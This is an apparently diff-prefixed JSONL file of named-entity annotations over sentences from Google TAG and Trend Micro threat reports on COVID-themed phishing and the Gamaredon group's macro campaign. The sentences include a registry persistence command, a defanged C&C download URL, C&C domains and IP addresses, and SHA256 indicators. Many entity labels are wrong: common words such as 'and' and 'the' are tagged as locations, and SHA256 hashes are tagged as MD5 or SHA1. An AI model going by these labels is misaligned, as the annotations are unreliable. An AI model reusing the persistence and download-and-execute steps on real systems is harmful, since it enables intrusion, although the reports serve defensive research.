-{"id":6743,"text":"Some messages offered free meals and coupons in response to COVID-19, others suggested recipients visit sites disguised as online ordering and delivery options.","entities":[{"id":21039,"label":"location","start_offset":33,"end_offset":36},{"id":21040,"label":"location","start_offset":104,"end_offset":109},{"id":21041,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":6744,"text":"Once people clicked on the emails, they were presented with phishing pages designed to trick them into providing their Google account credentials.","entities":[{"id":21042,"label":"attack-pattern","start_offset":60,"end_offset":68},{"id":21043,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":6745,"text":"The vast majority of these messages were sent to spam without any user ever seeing them, and we were able to preemptively block the domains using Safe Browsing.","entities":[{"id":21045,"label":"tools","start_offset":4,"end_offset":8},{"id":21046,"label":"location","start_offset":71,"end_offset":75},{"id":21047,"label":"location","start_offset":83,"end_offset":87},{"id":21048,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":6746,"text":"We’re not aware of any user having their account compromised by this campaign, but as usual, we notify all targeted users with a “government-backed attacker” warning.","entities":[{"id":21050,"label":"location","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":6747,"text":"We’ve also seen attackers try to trick people into downloading malware by impersonating health organizations: Generally, we’re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.","entities":[{"id":21051,"label":"location","start_offset":141,"end_offset":148},{"id":21052,"label":"attack-pattern","start_offset":157,"end_offset":165},{"id":21053,"label":"identity","start_offset":211,"end_offset":215}],"relations":[],"Comments":[]}
-{"id":6748,"text":"In fact, we saw a slight decrease in overall volumes in March compared to January and February.","entities":[{"id":21054,"label":"location","start_offset":37,"end_offset":44},{"id":21057,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":6749,"text":"While it’s not unusual to see some fluctuations in these numbers, it could be that attackers, just like many other organizations, are experiencing productivity lags and issues due to global lockdowns and quarantine efforts.","entities":[{"id":21059,"label":"identity","start_offset":94,"end_offset":98},{"id":21060,"label":"location","start_offset":104,"end_offset":108},{"id":21061,"label":"location","start_offset":130,"end_offset":133},{"id":21062,"label":"location","start_offset":165,"end_offset":168},{"id":21063,"label":"location","start_offset":200,"end_offset":203}],"relations":[],"Comments":[]}
-{"id":6750,"text":"When working to identify and prevent threats, we use a combination of internal investigative tools, information sharing with industry partners and law enforcement, as well as leads and intelligence from third-party researchers.","entities":[{"id":21064,"label":"location","start_offset":25,"end_offset":28},{"id":21065,"label":"location","start_offset":125,"end_offset":133},{"id":21066,"label":"location","start_offset":143,"end_offset":146},{"id":21067,"label":"location","start_offset":147,"end_offset":150},{"id":21068,"label":"location","start_offset":181,"end_offset":184}],"relations":[],"Comments":[]}
-{"id":6751,"text":"To help support this broader security researcher community, Google is providing more than $200,000 in grants as part of a new Vulnerability Research Grant COVID-19 fund for Google VRP researchers who help  identify various vulnerabilities.","entities":[{"id":21069,"label":"location","start_offset":29,"end_offset":37},{"id":21070,"label":"location","start_offset":49,"end_offset":58},{"id":21073,"label":"location","start_offset":102,"end_offset":108},{"id":21074,"label":"location","start_offset":149,"end_offset":154}],"relations":[],"Comments":[]}
-{"id":6752,"text":"As the world continues to respond to COVID-19, we expect to see new lures and schemes.","entities":[{"id":21076,"label":"location","start_offset":7,"end_offset":12},{"id":21077,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
 {"id":6753,"text":"Our teams continue to track these and stop them before they reach people—and we’ll continue to share new and interesting findings.","entities":[{"id":21078,"label":"location","start_offset":34,"end_offset":37},{"id":21079,"label":"malware","start_offset":38,"end_offset":42},{"id":21080,"label":"location","start_offset":43,"end_offset":47},{"id":21081,"label":"location","start_offset":73,"end_offset":76},{"id":21082,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":6754,"text":"Gamaredon is an advanced persistent threat (APT) group that has been active since 2013.","entities":[{"id":21084,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":6755,"text":"Their campaigns are generally known for targeting Ukrainian government institutions.","entities":[{"id":21086,"label":"location","start_offset":16,"end_offset":19}],"relations":[],"Comments":[]}
 {"id":6756,"text":"From late 2019 to February of this year, researchers published several reports on Gamaredon, tracking the group’s activities.","entities":[],"relations":[],"Comments":[]}
 {"id":6757,"text":" In March, we came across an email with a malware attachment that used the Gamaredon group’s tactics.","entities":[],"relations":[],"Comments":[]}
-{"id":6758,"text":"Some of the emails used the coronavirus pandemic as a topic to lure victims into opening emails and attachments.","entities":[{"id":21092,"label":"location","start_offset":63,"end_offset":67},{"id":21093,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]}
-{"id":6759,"text":"These campaigns targeted victims in European countries and others.","entities":[{"id":21095,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":6760,"text":"A brief history of Gamaredon   In 2015, researchers from LookingGlass published the first report on Gamaredon.","entities":[],"relations":[],"Comments":[]}
-{"id":6761,"text":"According to that report, the early campaigns used Microsoft Word documents that, when inspected, showed that its most recent user went by the name of Armagedon (a misspelled “Armageddon”), which became the basis of the group’s namesake.","entities":[{"id":21101,"label":"location","start_offset":30,"end_offset":35},{"id":21104,"label":"location","start_offset":114,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":6762,"text":"The report also described Gamaredon’s political beginnings, particularly its ties to the Ukrainian revolution in 2014.","entities":[],"relations":[],"Comments":[]}
-{"id":6763,"text":"Before the revolution they had targeted Ukrainian government officials, opposition party members, and journalists.","entities":[{"id":21111,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":6764,"text":"They moved on to Ukrainian government institutions after the revolution.","entities":[],"relations":[],"Comments":[]}
 {"id":6765,"text":"In 2018, CERT-UA published an advisory against the malware Pterodo, which the group allegedly used.","entities":[],"relations":[],"Comments":[]}
 {"id":6766,"text":"The group remained active, with several Gamaredon-related activities reported in February 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":6767,"text":"In March, they were among the threat groups that were identified taking advantage of the coronavirus pandemic to trick targets.","entities":[],"relations":[],"Comments":[]}
-{"id":6768,"text":"Gamaredon and Covid-19-related cover emails  Figure 1.","entities":[{"id":21120,"label":"location","start_offset":10,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":6769,"text":"The infection chain of the Gamaredon campaign","entities":[{"id":21123,"label":"location","start_offset":37,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":6770,"text":"The case we found arrived through a targeted email that contained a document file (in docx format).","entities":[{"id":21124,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":6771,"text":"Opening document starts a template injection technique for loading the document template from the internet.","entities":[],"relations":[],"Comments":[]}
 {"id":6772,"text":"The downloaded document template contains the malicious macro codes, which executes a VBScript (VBS).","entities":[],"relations":[],"Comments":[]}
-{"id":6773,"text":"We found a mechanism for decrypting, executing, and downloading an additional payload from the C&C server.","entities":[{"id":21125,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
-{"id":6774,"text":"During the time of the analysis however, the C&C server was not accessible, which made us unable to get additional payloads.","entities":[{"id":21126,"label":"location","start_offset":11,"end_offset":15},{"id":21127,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":6775,"text":"The attacks we found all arrived through targeted emails (MITRE ATT&CK framework ID T1193).","entities":[],"relations":[],"Comments":[]}
-{"id":6776,"text":"One of them even had the subject “Coronavirus (2019-nCoV).”","entities":[{"id":21129,"label":"location","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":6777,"text":"The use of socially relevant topics is a common practice for attackers who wish to make their emails and documents more tempting to open.","entities":[{"id":21131,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]}
 {"id":6778,"text":"The email that used the coronavirus-related subject came with an attached document file.","entities":[],"relations":[],"Comments":[]}
 {"id":6779,"text":"Opening this file (MITRE ATT&CK framework ID T1204) executes the template injection method (MITRE ATT&CK framework ID T1221).","entities":[],"relations":[],"Comments":[]}
 {"id":6780,"text":" Figure 2. Code for downloading the document template with the malicious macro","entities":[],"relations":[],"Comments":[]}
-{"id":6781,"text":"The downloaded document template (in dot format) could differ slightly depending on each download.","entities":[{"id":21133,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":6782,"text":"However, its Exif info or metadata remains consistent and shares the following details:  Identification: Word 8.0","entities":[{"id":21134,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]}
-{"id":6783,"text":"Language code: Russian System: Windows Author: АДМИН (“Administrator” in Russian) Code page: Windows Cyrillic      Figure 3.","entities":[{"id":21137,"label":"location","start_offset":87,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":6784,"text":"A sample of malicious macro in the downloaded template document","entities":[{"id":21139,"label":"location","start_offset":2,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":6785,"text":"As mentioned, the template contains malicious macro (MITRE ATT&CK framework ID T1064), which exports VBS (MITRE ATT&CK framework ID T1064) to execute itself.","entities":[],"relations":[],"Comments":[]}
-{"id":6786,"text":"More specifically it drops “%USERPROFILE%\\Documents\\MediaPlayer\\PlayList.vbs,” which is hardcoded in the macro, and then executed in “wscript.exe \/\/b %USERPROFILE%\\Documents\\MediaPlayer\\PlayList.vbs.”  Figure 4.","entities":[{"id":21140,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":6787,"text":"A content sample for VBS dropped by malicious macro PlayList.vbs contains the obfuscated codes (MITRE ATT&CK framework ID T1140), which it executes after decrypting the obfuscations.","entities":[{"id":21142,"label":"location","start_offset":2,"end_offset":9},{"id":21143,"label":"location","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]}
 {"id":6788,"text":"This particular behavior is a slight departure from previously reported attacks by Gamaredon, which did not use this technique.","entities":[],"relations":[],"Comments":[]}
 {"id":6789,"text":"Figure 5.","entities":[],"relations":[],"Comments":[]}
-{"id":6790,"text":"A sample of executed VBS Figure 5 shows a snippet of the VBS executed by the Execute function.","entities":[{"id":21146,"label":"location","start_offset":2,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":6791,"text":"The routines it follows are enumerated below.","entities":[{"id":21148,"label":"location","start_offset":24,"end_offset":27}],"relations":[],"Comments":[]}
-{"id":6792,"text":"Register the RUN key in the registry below, so that the VBS file is executed every time the machine starts (MITRE ATT&CK framework ID T1060)","entities":[{"id":21149,"label":"location","start_offset":0,"end_offset":8},{"id":21150,"label":"location","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]}
 {"id":6793,"text":"Registry: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\MediaPlayer wscript.exe \/\/b ％USERPROFILE%\\Documents\\MediaPlayer\\PlayList.vbs","entities":[{"id":21151,"label":"REGISTRYKEY","start_offset":10,"end_offset":89}],"relations":[],"Comments":[]}
 {"id":6794,"text":"Connect with “hxxp:\/\/ kristom[.]hopto[.]org \/{computer name}_{hexadecimal volume serious number}\/help_05_03[.]php” (MITRE ATT&CK framework IDs T1043, T1071, T1082)","entities":[],"relations":[],"Comments":[]}
 {"id":6795,"text":"If the downloaded file size in the first step exceeds 10,485 bytes, then the file is saved as “%APPDATA%\\\\Microsoft\\Windows\\Cookies.txt” (MITRE ATT&CK framework ID T1105)","entities":[],"relations":[],"Comments":[]}
 {"id":6796,"text":"Use XOR for the file saved from the second step, where ASCII code converted from its own hexadecimal volume serial number is used as the key.","entities":[],"relations":[],"Comments":[]}
 {"id":6797,"text":"The decrypted result is saved as “%APPDATA%\\\\Microsoft\\Windows\\Cookies.exe” (T1001)","entities":[],"relations":[],"Comments":[]}
 {"id":6798,"text":"If the file size of “%APPDATA%\\\\Microsoft\\Windows\\Cookies.exe” exceeds 4,485 bytes, it is executed.","entities":[],"relations":[],"Comments":[]}
-{"id":6799,"text":"Both “%APPDATA%\\\\Microsoft\\Windows\\Cookies.txt” and “%APPDATA%\\\\Microsoft\\Windows\\Cookies.exe” are then deleted (MITRE ATT&CK framework ID T1107)  The observed routines of this VBS closely follow the other reports published on Gamaredon, such as the one from SentinelOne.","entities":[{"id":21153,"label":"location","start_offset":48,"end_offset":51},{"id":21154,"label":"location","start_offset":95,"end_offset":98},{"id":21156,"label":"location","start_offset":250,"end_offset":253}],"relations":[],"Comments":[]}
-{"id":6800,"text":"However, the macro generated VBS was obfuscated in this case, likely as an additional evasive tactic.","entities":[{"id":21158,"label":"location","start_offset":56,"end_offset":60},{"id":21159,"label":"location","start_offset":62,"end_offset":68}],"relations":[],"Comments":[]}
 {"id":6801,"text":"Interestingly, after decoding the VBS, we saw what appeared to be a programming mistake by the attacker.","entities":[],"relations":[],"Comments":[]}
-{"id":6802,"text":"Lines 53 and 54 in figure 6 are for closing those downloaded and decoded TXT and EXE files, which are variables defined right before the IF statement.","entities":[{"id":21161,"label":"location","start_offset":9,"end_offset":12},{"id":21164,"label":"location","start_offset":28,"end_offset":31},{"id":21165,"label":"location","start_offset":61,"end_offset":64},{"id":21166,"label":"location","start_offset":77,"end_offset":80},{"id":21167,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
 {"id":6803,"text":"If, however, these lines do not pass through this IF statement, an error would occur.","entities":[],"relations":[],"Comments":[]}
-{"id":6804,"text":"It shows that this malware is not tested enough, and may still be under development.","entities":[{"id":21168,"label":"location","start_offset":49,"end_offset":52},{"id":21169,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":6805,"text":"Our analysis found several URLs of the network destinations for both template injection and VBS.","entities":[{"id":21170,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":6806,"text":"While resolving them to IP addresses to understand their attack bases, we also found that they were all linked to the following IP addresses.","entities":[{"id":21171,"label":"location","start_offset":16,"end_offset":20}],"relations":[],"Comments":[]}
 {"id":6807,"text":" Network destination for template injection: 176[.]119[.]147[.]225 Network destination for VBS: 176[.]57[.]215[.]115  These IP addresses are from Russian hosting companies.","entities":[{"id":21172,"label":"IPV4","start_offset":45,"end_offset":66},{"id":21173,"label":"IPV4","start_offset":96,"end_offset":116},{"id":21174,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]}
-{"id":6808,"text":"Most likely, the attackers rented Virtual Private Server (VPS) as their attack base.","entities":[{"id":21176,"label":"location","start_offset":0,"end_offset":4},{"id":21177,"label":"location","start_offset":5,"end_offset":11}],"relations":[],"Comments":[]}
-{"id":6809,"text":"Their URL for VBS (shown below) likely includes the data when they conducted the attack.","entities":[{"id":21178,"label":"location","start_offset":32,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":6810,"text":" hxxp:\/\/{FQDN}\/{computer name}_{hexadecimal volume serial number}\/help_{day}_{month}[.]php  Conclusion Gameradon is not the first group to take advantage of the Covid-19 topic.","entities":[],"relations":[],"Comments":[]}
-{"id":6811,"text":"Some cybercriminals have taken to indirect means of profiting, such as by targeting communication platforms that have increased in popularity after organizations shifted to work from home setups.","entities":[{"id":21181,"label":"location","start_offset":43,"end_offset":48},{"id":21182,"label":"location","start_offset":183,"end_offset":187}],"relations":[],"Comments":[]}
-{"id":6812,"text":"In this case, they used Covid-19 as a cover for their relatively typical APT routine.","entities":[{"id":21183,"label":"location","start_offset":8,"end_offset":12},{"id":21184,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]}
-{"id":6813,"text":"We recommend these countermeasures to prevent similar APT attacks in the future:  Check the email sender, subject, and body for anything suspicious before downloading and opening email attachments.","entities":[{"id":21185,"label":"location","start_offset":54,"end_offset":57},{"id":21186,"label":"location","start_offset":82,"end_offset":87},{"id":21187,"label":"location","start_offset":115,"end_offset":118},{"id":21188,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]}
 {"id":6814,"text":"Be especially wary of unsolicited emails, that come from unknown senders.","entities":[],"relations":[],"Comments":[]}
-{"id":6815,"text":"Check the file extension of the attached file and make sure it is the intended file format.","entities":[{"id":21189,"label":"location","start_offset":0,"end_offset":5},{"id":21190,"label":"location","start_offset":15,"end_offset":24},{"id":21191,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]}
 {"id":6816,"text":"Avoid activating macro for any attached Microsoft Office files, especially for emails that request macro activation using an image of the body of the opened file or those that don’t show anything.","entities":[],"relations":[],"Comments":[]}
-{"id":6817,"text":"Watch out for spoofed domains embedded in emails before opening them.","entities":[{"id":21194,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":6818,"text":"Subtle changes to a popular URL can be one indicator of malicious content.","entities":[{"id":21195,"label":"location","start_offset":0,"end_offset":6},{"id":21196,"label":"location","start_offset":32,"end_offset":35},{"id":21197,"label":"location","start_offset":39,"end_offset":42},{"id":21198,"label":"location","start_offset":66,"end_offset":73}],"relations":[],"Comments":[]}
-{"id":6819,"text":" In addition to these actions, users can also implement a multi-layer approach and take advantage of these solutions.  Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security","entities":[{"id":21199,"label":"location","start_offset":37,"end_offset":40},{"id":21200,"label":"location","start_offset":79,"end_offset":82},{"id":21201,"label":"location","start_offset":125,"end_offset":130},{"id":21202,"label":"location","start_offset":138,"end_offset":148},{"id":21203,"label":"location","start_offset":156,"end_offset":159},{"id":21204,"label":"location","start_offset":181,"end_offset":189}],"relations":[],"Comments":[]}
-{"id":6820,"text":"protects users and businesses from similar threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.","entities":[{"id":21205,"label":"location","start_offset":15,"end_offset":18},{"id":21206,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":6821,"text":"Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.","entities":[{"id":21208,"label":"location","start_offset":63,"end_offset":66},{"id":21209,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":6822,"text":"Trend Micro™ Hosted Email Securityis a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.","entities":[{"id":21211,"label":"location","start_offset":54,"end_offset":59},{"id":21212,"label":"location","start_offset":104,"end_offset":114},{"id":21213,"label":"malware","start_offset":118,"end_offset":122},{"id":21214,"label":"attack-pattern","start_offset":138,"end_offset":152},{"id":21215,"label":"location","start_offset":166,"end_offset":169}],"relations":[],"Comments":[]}
-{"id":6823,"text":"It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.","entities":[{"id":21217,"label":"location","start_offset":22,"end_offset":30},{"id":21221,"label":"location","start_offset":67,"end_offset":70},{"id":21222,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]}
-{"id":6824,"text":"Trend Micro™ OfficeScan™with XGen™ endpoint security infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against advanced malware.","entities":[{"id":21224,"label":"location","start_offset":44,"end_offset":52},{"id":21225,"label":"location","start_offset":66,"end_offset":74},{"id":21226,"label":"location","start_offset":126,"end_offset":129},{"id":21227,"label":"location","start_offset":175,"end_offset":185}],"relations":[],"Comments":[]}
-{"id":6825,"text":"The Trend MicroTMXDR solution effectively protects connected emails, endpoints, servers, cloud workloads, and networks.","entities":[{"id":21229,"label":"location","start_offset":89,"end_offset":94},{"id":21230,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":6826,"text":"Trend Micro XDR uses powerful AI and expert security analytics to correlate data, as well as deliver fewer yet higher-fidelity alerts for early threat detection.","entities":[{"id":21232,"label":"location","start_offset":33,"end_offset":36},{"id":21233,"label":"location","start_offset":44,"end_offset":52},{"id":21234,"label":"location","start_offset":118,"end_offset":126},{"id":21235,"label":"location","start_offset":138,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":6827,"text":"In a single console, it provides a broader perspective of enterprise systems while at the same time giving a more focused and optimized set of alerts.","entities":[{"id":21236,"label":"location","start_offset":58,"end_offset":68},{"id":21237,"label":"location","start_offset":90,"end_offset":94},{"id":21238,"label":"location","start_offset":95,"end_offset":99},{"id":21239,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]}
 {"id":6828,"text":"Indicators of Compromise (IoCs)  DOCX file SHA256 Detection Name 0d90fe36866ee30eb5e4fd98583bc2fdb5b7da37e42692f390ac5f807a13f057 W97M_CVE20170199.ZYHC-A 036c2088cb48215f21d4f7d751d750b859d57018c04f6cadd45c0c4fee23a9f8 Trojan.W97M.CVE20170199.PG 19d03a25af5b71e859561ff8ccc0a073acb9c61b987bdb28395339f72baf46b4 Trojan.XML.PHISH.AE 62cf22f840fffd8d8781e52b492b03b4efc835571b48823b07535d52b182e861 W97M_CVE20170199.ZKHC-A 8310d39aa1cdd13ca82c769d61049310f8ddaea7cd2c3b940a8a3c248e5e7b06 Trojan.W97M.CVE20170199.PF 84e0b1d94a43c87de55c000e3acae17f4493a57badda3b27146ad8ed0f90c93e Trojan.W97M.CVE20170199.PG 85267e52016b6124e4e42f8b52e68475174c8a2bdf0bc0b501e058e2d388a819 Trojan.W97M.CVE20170199.PF b6a94f565d482906be7da4d801153eb4dab46d92f43be3e1d59ddd2c7f328109 Trojan.W97M.CVE20170199.PF cc775e3cf1a64effa55570715b73413c3ea3a6b47764a998b1272b5be059c25b Trojan.W97M.CVE20170199.PF      DOT file SHA256 Detection Name TrendX 00b761bce25594da4c760574d224589daf01086c5637042982767a13a2f61bea Mal_OLEMAL-4 Downloader.VBA.TRX.XXVBAF01FF007 250b09f87fe506fbc6cedf9dbfcb594f7795ed0e02f982b5837334f09e8a184b Mal_OLEMAL-4 4b3ae36b04d6aba70089cb2099e6bc1ba16d16ea24bbf09992f23260151b9faf Mal_OLEMAL-4 946405e2f26e1cc0bd22bc7e12d403da939f02e9c4d8ddd012f049cf4bf1fda9 Mal_OLEMAL-4 9cd5fa89d579a664c28da16064057096a5703773cef0a079f228f21a4b7fd5d2 Mal_OLEMAL-4 c089ccd376c9a4d5e5bdd553181ab4821d2c26fefc299cce7a4f023a660484d5 Mal_OLEMAL-4 e888b5e657b41d45ef0b2ed939e27ff9ea3a11c46946e31372cf26d92361c012 W97M_VBSDOWNLDR.ZKHC-A f577d2b97963b717981c01b535f257e03688ff4a918aa66352aa9cd31845b67d W97M_VBSDOWNLDR.ZYHC-A      SHA256 Detection Name TrendX 17161e0ab3907f637c2202a384de67fca49171c79b1b24db7c78a4680637e3d5 Trojan.X97M.CVE201711882.THCOCBO Downloader.VBA.TRX.XXVBAF01FF006 29367502e16bf1e2b788705014d0142d8bcb7fcc6a47d56fb82d7e333454e923 TrojanSpy.Win32.FAREIT.UHBAZCLIZ N\/A 315e297ac510f3f2a60176f9c12fcf92681bbad758135767ba805cdea830b9ee Trojan.X97M.CVE201711882.THCOCBO Downloader.VBA.TRX.XXVBAF01FF006 3e6166a6961bc7c23d316ea9bca87d8287a4044865c3e73064054e805ef5ca1a Backdoor.Win32.REMCOS.USMANEAGFG Troj.Win32.TRX.XXPE50FFF034 3f40d4a0d0fe1eea58fa1c71308431b5c2ce6e381cacc7291e501f4eed57bfd2 Trojan.MSIL.AGENTTESLA.THCOCBO N\/A ab533d6ca0c2be8860a0f7fbfc7820ffd595edc63e540ff4c5991808da6a257d Trojan.X97M.CVE201711882.THCOCBO N\/A b78a3d21325d3db7470fbf1a6d254e23d349531fca4d7f458b33ca93c91e61cd Backdoor.Win32.REMCOS.USMANEAGFE Troj.Win32.TRX.XXPE50FFF034 c9c0180eba2a712f1aba1303b90cbf12c1117451ce13b68715931abc437b10cd TrojanSpy.Win32.FAREIT.UHBAZCLIZ Troj.Win32.TRX.XXPE50FFF034     C&C addresses  Bambinos[.]bounceme[.]net bbtt[.]site bbtt[.]space harpa[.]site harpa[.]space harpa[.]website himym[.]site kristoffer[.]hopto[.]org kristom[.]hopto[.]org miragena[.]site miragena[.]xyz papir[.]hopto[.]org sabdja[.]3utilities[.]com sakira[.]3utilities[.]com seliconos[.]3utilities[.]com solod[.]bounceme[.]net sonik[.]hopto[.]org tele[.]3utilities[.]com violina[.]website voyager[.]myftp[.]biz voyaget[.]myftp[.]biz  Mitre ATT&CK Framework         Tags  Malware | APT & Targeted Attacks | Research | Spam | Articles, News, Reports","entities":[{"id":21240,"label":"SHA1","start_offset":65,"end_offset":129},{"id":21241,"label":"MD5","start_offset":154,"end_offset":218},{"id":21242,"label":"SHA1","start_offset":246,"end_offset":310},{"id":21243,"label":"SHA1","start_offset":331,"end_offset":395},{"id":21244,"label":"SHA1","start_offset":420,"end_offset":484},{"id":21245,"label":"SHA1","start_offset":512,"end_offset":576},{"id":21246,"label":"SHA2","start_offset":604,"end_offset":668},{"id":21247,"label":"SHA2","start_offset":696,"end_offset":760},{"id":21248,"label":"MD5","start_offset":788,"end_offset":852},{"id":21249,"label":"location","start_offset":885,"end_offset":888},{"id":21250,"label":"SHA2","start_offset":923,"end_offset":987},{"id":21251,"label":"SHA2","start_offset":1034,"end_offset":1098},{"id":21252,"label":"SHA2","start_offset":1112,"end_offset":1176},{"id":21253,"label":"SHA2","start_offset":1190,"end_offset":1254},{"id":21254,"label":"SHA2","start_offset":1268,"end_offset":1332},{"id":21255,"label":"MD5","start_offset":1346,"end_offset":1410},{"id":21256,"label":"SHA2","start_offset":1424,"end_offset":1488},{"id":21257,"label":"SHA1","start_offset":1512,"end_offset":1576},{"id":21258,"label":"SHA1","start_offset":1634,"end_offset":1698},{"id":21259,"label":"SHA1","start_offset":1765,"end_offset":1829},{"id":21260,"label":"SHA2","start_offset":1867,"end_offset":1931},{"id":21261,"label":"SHA1","start_offset":1998,"end_offset":2062},{"id":21262,"label":"SHA1","start_offset":2124,"end_offset":2188},{"id":21263,"label":"SHA2","start_offset":2224,"end_offset":2288},{"id":21264,"label":"SHA2","start_offset":2326,"end_offset":2390},{"id":21265,"label":"SHA2","start_offset":2452,"end_offset":2516},{"id":21266,"label":"location","start_offset":3060,"end_offset":3063}],"relations":[],"Comments":[]}
 {"id":6829,"text":"On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
 {"id":6830,"text":"Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.","entities":[{"id":21272,"label":"location","start_offset":21,"end_offset":24},{"id":21273,"label":"location","start_offset":25,"end_offset":33},{"id":21274,"label":"location","start_offset":68,"end_offset":71},{"id":21275,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":21277,"label":"location","start_offset":138,"end_offset":141},{"id":21279,"label":"location","start_offset":179,"end_offset":182}],"relations":[],"Comments":[]}
 {"id":6831,"text":"Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.","entities":[{"id":21281,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":21282,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":6832,"text":"Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.","entities":[],"relations":[],"Comments":[]}
 {"id":6833,"text":"Generally, 2020 has been dominated by COVID-19.","entities":[],"relations":[],"Comments":[]}
-{"id":6834,"text":"The pandemic has taken center stage in people’s everyday lives, in the international news media, and in the world of government-backed hacking.","entities":[{"id":21286,"label":"location","start_offset":23,"end_offset":29},{"id":21287,"label":"location","start_offset":71,"end_offset":84},{"id":21288,"label":"location","start_offset":90,"end_offset":95},{"id":21289,"label":"location","start_offset":97,"end_offset":100},{"id":21290,"label":"location","start_offset":108,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":6835,"text":"Recently, we shared information on numerous COVID-themed attacks discovered and confirmed by our teams.","entities":[{"id":21291,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":6836,"text":"We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.","entities":[{"id":21293,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":6837,"text":"And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.","entities":[{"id":21296,"label":"location","start_offset":0,"end_offset":3},{"id":21297,"label":"location","start_offset":80,"end_offset":83},{"id":21298,"label":"attack-pattern","start_offset":84,"end_offset":92},{"id":21299,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":6838,"text":"As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.","entities":[{"id":21301,"label":"location","start_offset":46,"end_offset":50},{"id":21302,"label":"location","start_offset":61,"end_offset":66},{"id":21303,"label":"location","start_offset":68,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":6839,"text":"The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.","entities":[{"id":21306,"label":"location","start_offset":87,"end_offset":90},{"id":21313,"label":"location","start_offset":204,"end_offset":207}],"relations":[],"Comments":[]}
-{"id":6840,"text":"The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.","entities":[{"id":21316,"label":"location","start_offset":144,"end_offset":147},{"id":21317,"label":"location","start_offset":186,"end_offset":190},{"id":21318,"label":"location","start_offset":193,"end_offset":199}],"relations":[],"Comments":[]}
